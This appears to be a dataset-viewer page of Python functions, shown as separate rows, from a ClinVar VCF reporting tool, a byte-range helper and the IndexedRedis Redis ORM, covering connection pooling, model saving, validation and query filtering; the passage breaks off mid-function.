Search is not available for this dataset
text
stringlengths 75
104k
|
---|
def byte_offset(self, bytes):
"""
Maps `bytes` length to a sequence's offset. For example, if we do byte_offset(5) and our list of sequences is
[(0, 2), (10, 11), (40, 45)] then the returned value will be 42.
Note that `bytes` must be <= byte_length().
:returns: actual offset in one of the sequences in the range for request byte length.
:rtype: int or float
"""
remaining_bytes = bytes
for r in self:
if r.is_open() or r.byte_length() >= remaining_bytes:
return r.start + remaining_bytes
else:
remaining_bytes -= r.byte_length()
assert False, "requested byte offset {0!r} is outside the range list {1!r}".format(bytes, self) |
def main():
"""
Parse command line argument and
output appropriate file type (csv or JSON)
"""
parser = ArgumentParser()
parser.add_argument(
"-c", "--clinvarfile", dest="clinvarfile",
help="ClinVar VCF file (either this or -C must be specified)",
metavar="CLINVARFILE")
parser.add_argument(
"-C", "--clinvardir", dest="clinvardir",
help="ClinVar VCF directory (either this or -c must be specified). " +
"This option will use vcf2clinvar.clinvar_update to automatically " +
"check and import the most recent ClinVar file to this directory.",
metavar="CLINVARDIR")
parser.add_argument(
"-i", "--input", dest="inputfile",
help="Input VCF file ['.vcf', '.vcf.gz', '.vcf.bz2']. " +
"Uncompressed genome data is also accepted via stdin.",
metavar="INPUT")
parser.add_argument(
"-t", "--type", dest="type", default='csv',
help="Output report type ('csv' or 'json'). Defaults to csv. " +
"CSV Report: Reports all genome variants matching ClinVar records, " +
"and some summary ClinVar data from these records. Header lines " +
"with metadata begin with '##'.\n" +
"JSON Report: Reports genome variants matching ClinVar records " +
"(no record information is included).",
metavar="TYPE")
parser.add_argument(
"-n", "--notes", dest="notes",
help="Notes (JSON format) to include in report. (JSON report only)",
metavar="NOTES")
parser.add_argument(
"-g", "--genome-build", dest="build",
help="Genome build to include in report ('b37' or 'b38').",
metavar="GENOMEBUILD")
options = parser.parse_args()
version = os.popen("python setup.py --version").read().strip()
if options.inputfile:
if options.inputfile.endswith('.vcf'):
input_genome_file = open(options.inputfile)
elif options.inputfile.endswith('.vcf.gz'):
input_genome_file = gzip.open(options.inputfile)
elif options.inputfile.endswith('.vcf.bz2'):
input_genome_file = bz2.BZ2File(options.inputfile)
else:
raise IOError("Genome filename expected to end with ''.vcf'," +
" '.vcf.gz', or '.vcf.bz2'.")
elif not sys.stdin.isatty():
input_genome_file = sys.stdin
else:
sys.stderr.write("Provide input VCF file\n")
parser.print_help()
sys.exit(1)
if options.build and options.build in ['b37', 'b38']:
build = options.build
else:
raise IOError("Input VCF genome build must be 'b37' or 'b38'.")
if (not (options.clinvarfile or options.clinvardir) or
(options.clinvarfile and options.clinvardir)):
sys.stderr.write("Please provide either a ClinVar file or directory.")
parser.print_help()
sys.exit(1)
if options.clinvarfile:
clinvarfilename = options.clinvarfile
elif options.clinvardir:
clinvarfilename = get_latest_vcf_file(target_dir=options.clinvardir,
build=build)
if clinvarfilename.endswith('.vcf'):
input_clinvar_file = open(options.clinvarfile)
elif clinvarfilename.endswith('.vcf.gz'):
input_clinvar_file = gzip.open(clinvarfilename)
elif clinvarfilename.endswith('.vcf.bz2'):
input_clinvar_file = bz2.BZ2File(clinvarfilename)
else:
raise IOError("ClinVar filename expected to end with '.vcf'," +
" '.vcf.gz', or '.vcf.bz2'.")
if options.type not in ['csv', 'json']:
raise IOError("Not a valid report type, must be 'csv' or 'json'.")
if options.type == "csv":
csv_report(input_genome_file=input_genome_file,
input_clinvar_file=input_clinvar_file,
build=build,
version=version)
elif options.type == "json":
notes_json = {}
if options.notes:
notes_json["parameter"] = options.notes
try:
notes_json = json.loads(options.notes)
except:
sys.stderr.write("Could not parse JSON notes field\n")
json_report(input_genome_file=input_genome_file,
input_clinvar_file=input_clinvar_file,
build=build,
notes=notes_json,
version=version) |
def nav_to_vcf_dir(ftp, build):
"""
Navigate an open ftplib.FTP to appropriate directory for ClinVar VCF files.
Args:
ftp: (type: ftplib.FTP) an open connection to ftp.ncbi.nlm.nih.gov
build: (type: string) genome build, either 'b37' or 'b38'
"""
if build == 'b37':
ftp.cwd(DIR_CLINVAR_VCF_B37)
elif build == 'b38':
ftp.cwd(DIR_CLINVAR_VCF_B38)
else:
raise IOError("Genome build not recognized.") |
def as_dict(self, *args, **kwargs):
"""Return ClinVarAllele data as dict object."""
self_as_dict = super(ClinVarAllele, self).as_dict(*args, **kwargs)
self_as_dict['hgvs'] = self.hgvs
self_as_dict['clnalleleid'] = self.clnalleleid
self_as_dict['clnsig'] = self.clnsig
self_as_dict['clndn'] = self.clndn
self_as_dict['clndisdb'] = self.clndisdb
self_as_dict['clnvi'] = self.clnvi
return self_as_dict |
def _parse_frequencies(self):
"""Parse frequency data in ClinVar VCF"""
frequencies = OrderedDict([
('EXAC', 'Unknown'),
('ESP', 'Unknown'),
('TGP', 'Unknown')])
pref_freq = 'Unknown'
for source in frequencies.keys():
freq_key = 'AF_' + source
if freq_key in self.info:
frequencies[source] = self.info[freq_key]
if pref_freq == 'Unknown':
pref_freq = frequencies[source]
return pref_freq, frequencies |
def _parse_allele_data(self):
"""Parse alleles for ClinVar VCF, overrides parent method."""
# Get allele frequencies if they exist.
pref_freq, frequencies = self._parse_frequencies()
info_clnvar_single_tags = ['ALLELEID', 'CLNSIG', 'CLNHGVS']
cln_data = {x.lower(): self.info[x] if x in self.info else None
for x in info_clnvar_single_tags}
cln_data.update(
{'clndisdb': [x.split(',') for x in
self.info['CLNDISDB'].split('|')]
if 'CLNDISDB' in self.info else []})
cln_data.update({'clndn': self.info['CLNDN'].split('|') if
'CLNDN' in self.info else []})
cln_data.update({'clnvi': self.info['CLNVI'].split(',')
if 'CLNVI' in self.info else []})
try:
sequence = self.alt_alleles[0]
except IndexError:
sequence = self.ref_allele
allele = ClinVarAllele(frequency=pref_freq, sequence=sequence,
**cln_data)
# A few ClinVar variants are only reported as a combination with
# other variants, and no single-variant effect is proposed. Skip these.
if not cln_data['clnsig']:
return []
return [allele] |
def add(self, *names):
'''Returns back a class decorator that enables registering Blox to this factory'''
def decorator(blok):
for name in names or (blok.__name__, ):
self[name] = blok
return blok
return decorator |
def depricated_name(newmethod):
"""
Decorator for warning user of depricated functions before use.
Args:
newmethod (str): Name of method to use instead.
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
warnings.simplefilter('always', DeprecationWarning)
warnings.warn(
"Function {} is depricated, please use {} instead.".format(func.__name__, newmethod),
category=DeprecationWarning, stacklevel=2
)
warnings.simplefilter('default', DeprecationWarning)
return func(*args, **kwargs)
return wrapper
return decorator |
def setDefaultRedisConnectionParams( connectionParams ):
'''
setDefaultRedisConnectionParams - Sets the default parameters used when connecting to Redis.
This should be the args to redis.Redis in dict (kwargs) form.
@param connectionParams <dict> - A dict of connection parameters.
Common keys are:
host <str> - hostname/ip of Redis server (default '127.0.0.1')
port <int> - Port number (default 6379)
db <int> - Redis DB number (default 0)
Omitting any of those keys will ensure the default value listed is used.
This connection info will be used by default for all connections to Redis, unless explicitly set otherwise.
The common way to override is to define REDIS_CONNECTION_PARAMS on a model, or use AltConnectedModel = MyModel.connectAlt( PARAMS )
Any omitted fields in these connection overrides will inherit the value from the global default.
For example, if your global default connection params define host = 'example.com', port=15000, and db=0,
and then one of your models has
REDIS_CONNECTION_PARAMS = { 'db' : 1 }
as an attribute, then that model's connection will inherit host='example.com" and port=15000 but override db and use db=1
NOTE: Calling this function will clear the connection_pool attribute of all stored managed connections, disconnect all managed connections,
and close-out the connection pool.
It may not be safe to call this function while other threads are potentially hitting Redis (not that it would make sense anyway...)
@see clearRedisPools for more info
'''
global _defaultRedisConnectionParams
_defaultRedisConnectionParams.clear()
for key, value in connectionParams.items():
_defaultRedisConnectionParams[key] = value
clearRedisPools() |
def clearRedisPools():
'''
clearRedisPools - Disconnect all managed connection pools,
and clear the connectiobn_pool attribute on all stored managed connection pools.
A "managed" connection pool is one where REDIS_CONNECTION_PARAMS does not define the "connection_pool" attribute.
If you define your own pools, IndexedRedis will use them and leave them alone.
This method will be called automatically after calling setDefaultRedisConnectionParams.
Otherwise, you shouldn't have to call it.. Maybe as some sort of disaster-recovery call..
'''
global RedisPools
global _redisManagedConnectionParams
for pool in RedisPools.values():
try:
pool.disconnect()
except:
pass
for paramsList in _redisManagedConnectionParams.values():
for params in paramsList:
if 'connection_pool' in params:
del params['connection_pool']
RedisPools.clear()
_redisManagedConnectionParams.clear() |
def getRedisPool(params):
'''
getRedisPool - Returns and possibly also creates a Redis connection pool
based on the REDIS_CONNECTION_PARAMS passed in.
The goal of this method is to keep a small connection pool rolling
to each unique Redis instance, otherwise during network issues etc
python-redis will leak connections and in short-order can exhaust
all the ports on a system. There's probably also some minor
performance gain in sharing Pools.
Will modify "params", if "host" and/or "port" are missing, will fill
them in with defaults, and prior to return will set "connection_pool"
on params, which will allow immediate return on the next call,
and allow access to the pool directly from the model object.
@param params <dict> - REDIS_CONNECTION_PARAMS - kwargs to redis.Redis
@return redis.ConnectionPool corrosponding to this unique server.
'''
global RedisPools
global _defaultRedisConnectionParams
global _redisManagedConnectionParams
if not params:
params = _defaultRedisConnectionParams
isDefaultParams = True
else:
isDefaultParams = bool(params is _defaultRedisConnectionParams)
if 'connection_pool' in params:
return params['connection_pool']
hashValue = hashDictOneLevel(params)
if hashValue in RedisPools:
params['connection_pool'] = RedisPools[hashValue]
return RedisPools[hashValue]
# Copy the params, so that we don't modify the original dict
if not isDefaultParams:
origParams = params
params = copy.copy(params)
else:
origParams = params
checkAgain = False
if 'host' not in params:
if not isDefaultParams and 'host' in _defaultRedisConnectionParams:
params['host'] = _defaultRedisConnectionParams['host']
else:
params['host'] = '127.0.0.1'
checkAgain = True
if 'port' not in params:
if not isDefaultParams and 'port' in _defaultRedisConnectionParams:
params['port'] = _defaultRedisConnectionParams['port']
else:
params['port'] = 6379
checkAgain = True
if 'db' not in params:
if not isDefaultParams and 'db' in _defaultRedisConnectionParams:
params['db'] = _defaultRedisConnectionParams['db']
else:
params['db'] = 0
checkAgain = True
if not isDefaultParams:
otherGlobalKeys = set(_defaultRedisConnectionParams.keys()) - set(params.keys())
for otherKey in otherGlobalKeys:
if otherKey == 'connection_pool':
continue
params[otherKey] = _defaultRedisConnectionParams[otherKey]
checkAgain = True
if checkAgain:
hashValue = hashDictOneLevel(params)
if hashValue in RedisPools:
params['connection_pool'] = RedisPools[hashValue]
return RedisPools[hashValue]
connectionPool = redis.ConnectionPool(**params)
origParams['connection_pool'] = params['connection_pool'] = connectionPool
RedisPools[hashValue] = connectionPool
# Add the original as a "managed" redis connection (they did not provide their own pool)
# such that if the defaults change, we make sure to re-inherit any keys, and can disconnect
# from clearRedisPools
origParamsHash = hashDictOneLevel(origParams)
if origParamsHash not in _redisManagedConnectionParams:
_redisManagedConnectionParams[origParamsHash] = [origParams]
elif origParams not in _redisManagedConnectionParams[origParamsHash]:
_redisManagedConnectionParams[origParamsHash].append(origParams)
return connectionPool |
def asDict(self, includeMeta=False, forStorage=False, strKeys=False):
'''
toDict / asDict - Get a dictionary representation of this model.
@param includeMeta - Include metadata in return. For now, this is only pk stored as "_id"
@param convertValueTypes <bool> - default True. If False, fields with fieldValue defined will be converted to that type.
Use True when saving, etc, as native type is always either str or bytes.
@param strKeys <bool> Default False - If True, just the string value of the field name will be used as the key.
Otherwise, the IRField itself will be (although represented and indexed by string)
@return - Dictionary reprensetation of this object and all fields
'''
ret = {}
for thisField in self.FIELDS:
val = object.__getattribute__(self, thisField)
if forStorage is True:
val = thisField.toStorage(val)
if strKeys:
ret[str(thisField)] = val
else:
ret[thisField] = val
if includeMeta is True:
ret['_id'] = getattr(self, '_id', None)
return ret |
def pprint(self, stream=None):
'''
pprint - Pretty-print a dict representation of this object.
@param stream <file/None> - Either a stream to output, or None to default to sys.stdout
'''
pprint.pprint(self.asDict(includeMeta=True, forStorage=False, strKeys=True), stream=stream) |
def hasUnsavedChanges(self, cascadeObjects=False):
'''
hasUnsavedChanges - Check if any unsaved changes are present in this model, or if it has never been saved.
@param cascadeObjects <bool> default False, if True will check if any foreign linked objects themselves have unsaved changes (recursively).
Otherwise, will just check if the pk has changed.
@return <bool> - True if any fields have changed since last fetch, or if never saved. Otherwise, False
'''
if not self._id or not self._origData:
return True
for thisField in self.FIELDS:
thisVal = object.__getattribute__(self, thisField)
if self._origData.get(thisField, '') != thisVal:
return True
if cascadeObjects is True and issubclass(thisField.__class__, IRForeignLinkFieldBase):
if thisVal.objHasUnsavedChanges():
return True
return False |
def getUpdatedFields(self, cascadeObjects=False):
'''
getUpdatedFields - See changed fields.
@param cascadeObjects <bool> default False, if True will check if any foreign linked objects themselves have unsaved changes (recursively).
Otherwise, will just check if the pk has changed.
@return - a dictionary of fieldName : tuple(old, new).
fieldName may be a string or may implement IRField (which implements string, and can be used just like a string)
'''
updatedFields = {}
for thisField in self.FIELDS:
thisVal = object.__getattribute__(self, thisField)
if self._origData.get(thisField, '') != thisVal:
updatedFields[thisField] = (self._origData[thisField], thisVal)
if cascadeObjects is True and issubclass(thisField.__class__, IRForeignLinkFieldBase) and thisVal.objHasUnsavedChanges():
updatedFields[thisField] = (self._origData[thisField], thisVal)
return updatedFields |
def diff(firstObj, otherObj, includeMeta=False):
'''
diff - Compare the field values on two IndexedRedisModels.
@param firstObj <IndexedRedisModel instance> - First object (or self)
@param otherObj <IndexedRedisModel instance> - Second object
@param includeMeta <bool> - If meta information (like pk) should be in the diff results.
@return <dict> - Dict of 'field' : ( value_firstObjForField, value_otherObjForField ).
Keys are names of fields with different values.
Value is a tuple of ( value_firstObjForField, value_otherObjForField )
Can be called statically, like: IndexedRedisModel.diff ( obj1, obj2 )
or in reference to an obj : obj1.diff(obj2)
'''
if not isIndexedRedisModel(firstObj):
raise ValueError('Type < %s > does not extend IndexedRedisModel.' %( type(firstObj).__name__ , ) )
if not isIndexedRedisModel(otherObj):
raise ValueError('Type < %s > does not extend IndexedRedisModel.' %( type(otherObj).__name__ , ) )
firstObj.validateModel()
otherObj.validateModel()
# Types may not match, but could be subclass, special copy class (like connectAlt), etc.
# So check if FIELDS matches, and if so, we can continue.
if getattr(firstObj, 'FIELDS') != getattr(otherObj, 'FIELDS'):
# NOTE: Maybe we should iterate here and compare just that field types and names match?
# In case a copy changes a default or something, we would still be able to diff..
raise ValueError('Cannot compare < %s > and < %s > . Must be same model OR have equal FIELDS.' %( firstObj.__class__, otherObj.__class__) )
diffFields = {}
for thisField in firstObj.FIELDS:
thisFieldStr = str(thisField)
firstVal = object.__getattribute__( firstObj, thisFieldStr )
otherVal = object.__getattribute__( otherObj, thisFieldStr )
if firstVal != otherVal:
diffFields[ thisFieldStr ] = ( (firstVal, otherVal) )
if includeMeta:
firstPk = firstObj.getPk()
otherPk = otherObj.getPk()
if firstPk != otherPk:
diffFields['_id'] = ( firstPk, otherPk )
return diffFields |
def save(self, cascadeSave=True):
'''
save - Save this object.
Will perform an "insert" if this object had not been saved before,
otherwise will update JUST the fields changed on THIS INSTANCE of the model.
i.e. If you have two processes fetch the same object and change different fields, they will not overwrite
eachother, but only save the ones each process changed.
If you want to save multiple objects of type MyModel in a single transaction,
and you have those objects in a list, myObjs, you can do the following:
MyModel.saver.save(myObjs)
@param cascadeSave <bool> Default True - If True, any Foreign models linked as attributes that have been altered
or created will be saved with this object. If False, only this object (and the reference to an already-saved foreign model) will be saved.
@see #IndexedRedisSave.save
@return <list> - Single element list, id of saved object (if successful)
'''
saver = IndexedRedisSave(self.__class__)
return saver.save(self, cascadeSave=cascadeSave) |
def reset(cls, newObjs):
'''
reset - Remove all stored data associated with this model (i.e. all objects of this type),
and then save all the provided objects in #newObjs , all in one atomic transaction.
Use this method to move from one complete set of objects to another, where any querying applications
will only see the complete before or complete after.
@param newObjs list<IndexedRedisModel objs> - A list of objects that will replace the current dataset
To just replace a specific subset of objects in a single transaction, you can do MyModel.saver.save(objs)
and just the objs in "objs" will be inserted/updated in one atomic step.
This method, on the other hand, will delete all previous objects and add the newly provided objects in a single atomic step,
and also reset the primary key ID generator
@return list<int> - The new primary keys associated with each object (same order as provided #newObjs list)
'''
conn = cls.objects._get_new_connection()
transaction = conn.pipeline()
transaction.eval("""
local matchingKeys = redis.call('KEYS', '%s*')
for _,key in ipairs(matchingKeys) do
redis.call('DEL', key)
end
""" %( ''.join([INDEXED_REDIS_PREFIX, cls.KEY_NAME, ':']), ), 0)
saver = IndexedRedisSave(cls)
nextID = 1
for newObj in newObjs:
saver.save(newObj, False, forceID=nextID, conn=transaction)
nextID += 1
transaction.set(saver._get_next_id_key(), nextID)
transaction.execute()
return list( range( 1, nextID, 1) ) |
def hasSameValues(self, other, cascadeObject=True):
'''
hasSameValues - Check if this and another model have the same fields and values.
This does NOT include id, so the models can have the same values but be different objects in the database.
@param other <IndexedRedisModel> - Another model
@param cascadeObject <bool> default True - If True, foreign link values with changes will be considered a difference.
Otherwise, only the immediate values are checked.
@return <bool> - True if all fields have the same value, otherwise False
'''
if self.FIELDS != other.FIELDS:
return False
oga = object.__getattribute__
for field in self.FIELDS:
thisVal = oga(self, field)
otherVal = oga(other, field)
if thisVal != otherVal:
return False
if cascadeObject is True and issubclass(field.__class__, IRForeignLinkFieldBase):
if thisVal and thisVal.isFetched():
if otherVal and otherVal.isFetched():
theseForeign = thisVal.getObjs()
othersForeign = otherVal.getObjs()
for i in range(len(theseForeign)):
if not theseForeign[i].hasSameValues(othersForeign[i]):
return False
else:
theseForeign = thisVal.getObjs()
for i in range(len(theseForeign)):
if theseForeign[i].hasUnsavedChanges(cascadeObjects=True):
return False
else:
if otherVal and otherVal.isFetched():
othersForeign = otherVal.getObjs()
for i in range(len(othersForeign)):
if othersForeign[i].hasUnsavedChanges(cascadeObjects=True):
return False
return True |
def copy(self, copyPrimaryKey=False, copyValues=False):
'''
copy - Copies this object.
@param copyPrimaryKey <bool> default False - If True, any changes to the copy will save over-top the existing entry in Redis.
If False, only the data is copied, and nothing is saved.
@param copyValues <bool> default False - If True, every field value on this object will be explicitly copied. If False,
an object will be created with the same values, and depending on the type may share the same reference.
This is the difference between a copy and a deepcopy.
@return <IndexedRedisModel> - Copy of this object, per above
If you need a copy that IS linked, @see IndexedRedisModel.copy
'''
cpy = self.__class__(**self.asDict(copyPrimaryKey, forStorage=False))
if copyValues is True:
for fieldName in cpy.FIELDS:
setattr(cpy, fieldName, copy.deepcopy(getattr(cpy, fieldName)))
return cpy |
def saveToExternal(self, redisCon):
'''
saveToExternal - Saves this object to a different Redis than that specified by REDIS_CONNECTION_PARAMS on this model.
@param redisCon <dict/redis.Redis> - Either a dict of connection params, a la REDIS_CONNECTION_PARAMS, or an existing Redis connection.
If you are doing a lot of bulk copies, it is recommended that you create a Redis connection and pass it in rather than establish a new
connection with each call.
@note - You will generate a new primary key relative to the external Redis environment. If you need to reference a "shared" primary key, it is better
to use an indexed field than the internal pk.
'''
if type(redisCon) == dict:
conn = redis.Redis(**redisCon)
elif hasattr(conn, '__class__') and issubclass(conn.__class__, redis.Redis):
conn = redisCon
else:
raise ValueError('saveToExternal "redisCon" param must either be a dictionary of connection parameters, or redis.Redis, or extension thereof')
saver = self.saver
# Fetch next PK from external
forceID = saver._getNextID(conn) # Redundant because of changes in save method
myCopy = self.copy(False)
return saver.save(myCopy, usePipeline=True, forceID=forceID, conn=conn) |
def reload(self, cascadeObjects=True):
'''
reload - Reload this object from the database, overriding any local changes and merging in any updates.
@param cascadeObjects <bool> Default True. If True, foreign-linked objects will be reloaded if their values have changed
since last save/fetch. If False, only if the pk changed will the foreign linked objects be reloaded.
@raises KeyError - if this object has not been saved (no primary key)
@return - Dict with the keys that were updated. Key is field name that was updated,
and value is tuple of (old value, new value).
NOTE: Currently, this will cause a fetch of all Foreign Link objects, one level
'''
_id = self._id
if not _id:
raise KeyError('Object has never been saved! Cannot reload.')
currentData = self.asDict(False, forStorage=False)
# Get the object, and compare the unconverted "asDict" repr.
# If any changes, we will apply the already-convered value from
# the object, but we compare the unconverted values (what's in the DB).
newDataObj = self.objects.get(_id)
if not newDataObj:
raise KeyError('Object with id=%d is not in database. Cannot reload.' %(_id,))
newData = newDataObj.asDict(False, forStorage=False)
if currentData == newData and not self.foreignFields:
return []
updatedFields = {}
for thisField, newValue in newData.items():
defaultValue = thisField.getDefaultValue()
currentValue = currentData.get(thisField, defaultValue)
fieldIsUpdated = False
if currentValue != newValue:
fieldIsUpdated = True
elif cascadeObjects is True and issubclass(thisField.__class__, IRForeignLinkFieldBase):
# If we are cascading objects, and at this point the pk is the same
if currentValue.isFetched():
# If we have fetched the current set, we might need to update (pks already match)
oldObjs = currentValue.getObjs()
newObjs = newValue.getObjs()
if oldObjs != newObjs: # This will check using __eq__, so one-level including pk
fieldIsUpdated = True
else:
# Use hasSameValues with cascadeObjects=True to scan past one level
for i in range(len(oldObjs)):
if not oldObjs[i].hasSameValues(newObjs[i], cascadeObjects=True):
fieldIsUpdated = True
break
if fieldIsUpdated is True:
# Use "converted" values in the updatedFields dict, and apply on the object.
updatedFields[thisField] = ( currentValue, newValue)
setattr(self, thisField, newValue)
self._origData[thisField] = newDataObj._origData[thisField]
return updatedFields |
def copyModel(mdl):
'''
copyModel - Copy this model, and return that copy.
The copied model will have all the same data, but will have a fresh instance of the FIELDS array and all members,
and the INDEXED_FIELDS array.
This is useful for converting, like changing field types or whatever, where you can load from one model and save into the other.
@return <IndexedRedisModel> - A copy class of this model class with a unique name.
'''
copyNum = _modelCopyMap[mdl]
_modelCopyMap[mdl] += 1
mdlCopy = type(mdl.__name__ + '_Copy' + str(copyNum), mdl.__bases__, copy.deepcopy(dict(mdl.__dict__)))
mdlCopy.FIELDS = [field.copy() for field in mdl.FIELDS]
mdlCopy.INDEXED_FIELDS = [str(idxField) for idxField in mdl.INDEXED_FIELDS] # Make sure they didn't do INDEXED_FIELDS = FIELDS or something wacky,
# so do a comprehension of str on these to make sure we only get names
mdlCopy.validateModel()
return mdlCopy |
def validateModel(model):
'''
validateModel - Class method that validates a given model is implemented correctly. Will only be validated once, on first model instantiation.
@param model - Implicit of own class
@return - True
@raises - InvalidModelException if there is a problem with the model, and the message contains relevant information.
'''
if model == IndexedRedisModel:
import re
if re.match('.*pydoc(|[\d]|[\d][\.][\d])([\.]py(|[co])){0,1}$', sys.argv[0]):
return
raise ValueError('Cannot use IndexedRedisModel directly. You must implement this class for your model.')
global validatedModels
keyName = model.KEY_NAME
if not keyName:
raise InvalidModelException('"%s" has no KEY_NAME defined.' %(str(model.__name__), ) )
if model in validatedModels:
return True
failedValidationStr = '"%s" Failed Model Validation:' %(str(model.__name__), )
# Convert items in model to set
#model.FIELDS = set(model.FIELDS)
fieldSet = set(model.FIELDS)
indexedFieldSet = set(model.INDEXED_FIELDS)
if not fieldSet:
raise InvalidModelException('%s No fields defined. Please populate the FIELDS array with a list of field names' %(failedValidationStr,))
if hasattr(model, 'BASE64_FIELDS'):
raise InvalidModelException('BASE64_FIELDS is no longer supported since IndexedRedis 5.0.0 . Use IndexedRedis.fields.IRBase64Field in the FIELDS array for the same functionality.')
if hasattr(model, 'BINARY_FIELDS'):
raise InvalidModelException('BINARY_FIELDS is no longer supported since IndexedRedis 5.0.0 . Use IndexedRedis.fields.IRBytesField in the FIELDS array for the same functionality, use IRBytesField for same functionality. Use IRField(valueType=bytes) for python-3 only support. Use IRRawField to perform no conversion at all.')
newFields = []
updatedFields = []
mustUpdateFields = False
foreignFields = []
for thisField in fieldSet:
if thisField == '_id':
raise InvalidModelException('%s You cannot have a field named _id, it is reserved for the primary key.' %(failedValidationStr,))
# XXX: Is this ascii requirement still needed since all is unicode now?
try:
codecs.ascii_encode(thisField)
except UnicodeDecodeError as e:
raise InvalidModelException('%s All field names must be ascii-encodable. "%s" was not. Error was: %s' %(failedValidationStr, to_unicode(thisField), str(e)))
if issubclass(thisField.__class__, IRForeignLinkFieldBase):
foreignFields.append(thisField)
# If a classic string field, convert to IRClassicField
if issubclass(thisField.__class__, IRField):
newFields.append(thisField)
else:
mustUpdateFields = True
newField = IRClassicField(thisField)
newFields.append(newField)
updatedFields.append(thisField)
thisField = newField
if str(thisField) == '':
raise InvalidModelException('%s Field defined without a name, or name was an empty string. Type=%s Field is: %s' %(failedValidationStr, str(type(thisField)), repr(thisField) ) )
if thisField in indexedFieldSet and thisField.CAN_INDEX is False:
raise InvalidModelException('%s Field Type %s - (%s) cannot be indexed.' %(failedValidationStr, str(thisField.__class__.__name__), repr(thisField)))
if hasattr(IndexedRedisModel, thisField) is True:
raise InvalidModelException('%s Field name %s is a reserved attribute on IndexedRedisModel.' %(failedValidationStr, str(thisField)))
if mustUpdateFields is True:
model.FIELDS = newFields
deprecatedMessage('Model "%s" contains plain-string fields. These have been converted to IRClassicField objects to retain the same functionality. plain-string fields will be removed in a future version. The converted fields are: %s' %(model.__name__, repr(updatedFields)), 'UPDATED_FIELDS_' + model.__name__)
model.FIELDS = KeyList(model.FIELDS)
if bool(indexedFieldSet - fieldSet):
raise InvalidModelException('%s All INDEXED_FIELDS must also be present in FIELDS. %s exist only in INDEXED_FIELDS' %(failedValidationStr, str(list(indexedFieldSet - fieldSet)), ) )
model.foreignFields = foreignFields
validatedModels.add(model)
return True |
def connectAlt(cls, redisConnectionParams):
'''
connectAlt - Create a class of this model which will use an alternate connection than the one specified by REDIS_CONNECTION_PARAMS on this model.
@param redisConnectionParams <dict> - Dictionary of arguments to redis.Redis, same as REDIS_CONNECTION_PARAMS.
@return - A class that can be used in all the same ways as the existing IndexedRedisModel, but that connects to a different instance.
The fields and key will be the same here, but the connection will be different. use #copyModel if you want an independent class for the model
'''
if not isinstance(redisConnectionParams, dict):
raise ValueError('redisConnectionParams must be a dictionary!')
hashVal = hashDictOneLevel(redisConnectionParams)
modelDictCopy = copy.deepcopy(dict(cls.__dict__))
modelDictCopy['REDIS_CONNECTION_PARAMS'] = redisConnectionParams
ConnectedIndexedRedisModel = type('AltConnect' + cls.__name__ + str(hashVal), cls.__bases__, modelDictCopy)
return ConnectedIndexedRedisModel |
def _get_new_connection(self):
'''
_get_new_connection - Get a new connection
internal
'''
pool = getRedisPool(self.mdl.REDIS_CONNECTION_PARAMS)
return redis.Redis(connection_pool=pool) |
def _get_connection(self):
'''
_get_connection - Maybe get a new connection, or reuse if passed in.
Will share a connection with a model
internal
'''
if self._connection is None:
self._connection = self._get_new_connection()
return self._connection |
def _add_id_to_keys(self, pk, conn=None):
'''
_add_id_to_keys - Adds primary key to table
internal
'''
if conn is None:
conn = self._get_connection()
conn.sadd(self._get_ids_key(), pk) |
def _rem_id_from_keys(self, pk, conn=None):
'''
_rem_id_from_keys - Remove primary key from table
internal
'''
if conn is None:
conn = self._get_connection()
conn.srem(self._get_ids_key(), pk) |
def _add_id_to_index(self, indexedField, pk, val, conn=None):
'''
_add_id_to_index - Adds an id to an index
internal
'''
if conn is None:
conn = self._get_connection()
conn.sadd(self._get_key_for_index(indexedField, val), pk) |
def _rem_id_from_index(self, indexedField, pk, val, conn=None):
'''
_rem_id_from_index - Removes an id from an index
internal
'''
if conn is None:
conn = self._get_connection()
conn.srem(self._get_key_for_index(indexedField, val), pk) |
def _get_key_for_index(self, indexedField, val):
'''
_get_key_for_index - Returns the key name that would hold the indexes on a value
Internal - does not validate that indexedFields is actually indexed. Trusts you. Don't let it down.
@param indexedField - string of field name
@param val - Value of field
@return - Key name string, potentially hashed.
'''
# If provided an IRField, use the toIndex from that (to support compat_ methods
if hasattr(indexedField, 'toIndex'):
val = indexedField.toIndex(val)
else:
# Otherwise, look up the indexed field from the model
val = self.fields[indexedField].toIndex(val)
return ''.join( [INDEXED_REDIS_PREFIX, self.keyName, ':idx:', indexedField, ':', val] ) |
def _compat_get_str_key_for_index(self, indexedField, val):
'''
_compat_get_str_key_for_index - Return the key name as a string, even if it is a hashed index field.
This is used in converting unhashed fields to a hashed index (called by _compat_rem_str_id_from_index which is called by compat_convertHashedIndexes)
@param inde
@param indexedField - string of field name
@param val - Value of field
@return - Key name string, always a string regardless of hash
'''
return ''.join([INDEXED_REDIS_PREFIX, self.keyName, ':idx:', indexedField, ':', getattr(indexedField, 'toStorage', to_unicode)(val)]) |
def _compat_rem_str_id_from_index(self, indexedField, pk, val, conn=None):
'''
_compat_rem_str_id_from_index - Used in compat_convertHashedIndexes to remove the old string repr of a field,
in order to later add the hashed value,
'''
if conn is None:
conn = self._get_connection()
conn.srem(self._compat_get_str_key_for_index(indexedField, val), pk) |
def _peekNextID(self, conn=None):
'''
_peekNextID - Look at, but don't increment the primary key for this model.
Internal.
@return int - next pk
'''
if conn is None:
conn = self._get_connection()
return to_unicode(conn.get(self._get_next_id_key()) or 0) |
def _getNextID(self, conn=None):
'''
_getNextID - Get (and increment) the next primary key for this model.
If you don't want to increment, @see _peekNextID .
Internal.
This is done automatically on save. No need to call it.
@return int - next pk
'''
if conn is None:
conn = self._get_connection()
return int(conn.incr(self._get_next_id_key())) |
def filter(self, **kwargs):
'''
filter - Add filters based on INDEXED_FIELDS having or not having a value.
Note, no objects are actually fetched until .all() is called
Use the field name [ model.objects.filter(some_field='value')] to filter on items containing that value.
Use the field name suffxed with '__ne' for a negation filter [ model.objects.filter(some_field__ne='value') ]
Example:
query = Model.objects.filter(field1='value', field2='othervalue')
objs1 = query.filter(something__ne='value').all()
objs2 = query.filter(something__ne=7).all()
@returns - A copy of this object, with the additional filters. If you want to work inline on this object instead, use the filterInline method.
'''
selfCopy = self.__copy__()
return IndexedRedisQuery._filter(selfCopy, **kwargs) |
def _filter(filterObj, **kwargs):
'''
Internal for handling filters; the guts of .filter and .filterInline
'''
for key, value in kwargs.items():
if key.endswith('__ne'):
notFilter = True
key = key[:-4]
else:
notFilter = False
if key not in filterObj.indexedFields:
raise ValueError('Field "' + key + '" is not in INDEXED_FIELDS array. Filtering is only supported on indexed fields.')
if notFilter is False:
